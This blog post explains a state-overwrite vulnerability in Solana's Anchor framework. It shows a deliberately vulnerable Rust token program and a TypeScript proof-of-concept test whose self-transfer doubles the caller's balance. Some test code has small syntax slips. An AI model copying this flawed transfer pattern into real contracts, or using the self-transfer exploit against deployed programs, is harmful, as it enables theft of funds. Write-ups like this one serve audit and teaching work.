Anchor State Overwrite
Sup?!
Hey, there! It has been a long time since I have written a blog. I have been deep diving into blockchain security this whole time. I have learnt many security concepts both in solidity and rust/anchor. This blog describes a unique vulnerability in anchor, which was reported by my senior @S3v3ru5 in Woofi contest in Sherlock. Here is the link to the original blog: Link I found this vulnerability interesting and tested it out.
Vulnerability
Consider the following example vulnerable implementation of a token program written using the Anchor framework. The transfer
instruction is vulnerable to state-overwrite
: executing a self-transfer increases the caller's balance without any deductions.
Program:
use anchor_lang::prelude::*;
declare_id!("GHuwyV6T3RVnCn3tPzGMzeqa7KbZv4Kf1vYTmDMnVSN1");
#[program]
pub mod vulnerable_token {
use super::*;
pub fn initialize(ctx: Context<Initialize>) -> Result<()> {
ctx.accounts.new_account.authority = ctx.accounts.signer.key();
ctx.accounts.new_account.balance = 1000;
Ok(())
}
pub fn transfer(ctx: Context<Transfer>, amount: u64) -> Result<()> {
ctx.accounts.sender.balance -= amount;
ctx.accounts.receiver.balance += amount;
Ok(())
}
}
#[derive(Accounts)]
pub struct Transfer<'info> {
#[account(mut)]
pub authority: Signer<'info>,
#[account(
mut,
has_one = authority,
)]
pub sender: Account<'info, TokenHolder>,
#[account(mut)]
pub receiver: Account<'info, TokenHolder>,
}
#[derive(Accounts)]
pub struct Initialize<'info> {
#[account(
init,
payer = signer,
space = 8 + TokenHolder::INIT_SPACE,
seeds = [signer.key().as_ref()],
bump,
)]
pub new_account: Account<'info, TokenHolder>,
#[account(mut)]
pub signer: Signer<'info>,
pub system_program: Program<'info, System>,
}
#[account]
#[derive(InitSpace)]
pub struct TokenHolder {
authority: Pubkey,
balance: u64,
}
Test:
import * as anchor from '@coral-xyz/anchor'
import Program from '@coral-xyz/anchor'
import PublicKey from '@solana/web3.js'
import Testing from '../target/types/testing'
describe('testing', () => {
// Configure the client to use the local cluster.
const provider = anchor.AnchorProvider.env()
anchor.setProvider(provider)
const payer = provider.wallet as anchor.Wallet
const program = anchor.workspace.Testing as Program<Testing>
it('Initialize Testing', async () > {
await program.methods.initialize()
.accounts({
signer: payer.publicKey,
})
.signers([payer.payer])
.rpc()
const [tokenInfo] = PublicKey.findProgramAddressSync(
[payer.publicKey.toBuffer()],
program.programId
)
const preBalance = await program.account.tokenHolder.fetch(tokenInfo)
console.log("Before transfer: ", preBalance.balance.toNumber())
await program.methods.transfer(new anchor.BN(1000))
.accounts({
sender: tokenInfo,
receiver: tokenInfo
})
.signers([payer.payer])
.rpc()
const postBalance = await program.account.tokenHolder.fetch(tokenInfo)
console.log("After transfer: ", postBalance.balance.toNumber())
console.table({ "Before transfer: ": preBalance.balance.toNumber(), "After transfer: ": postBalance.balance.toNumber })
})
})
After running the above test, the output will be the following:
Output:

You can see that, after the transfer, the balance has been updated to 2000, which is expected to be 1000.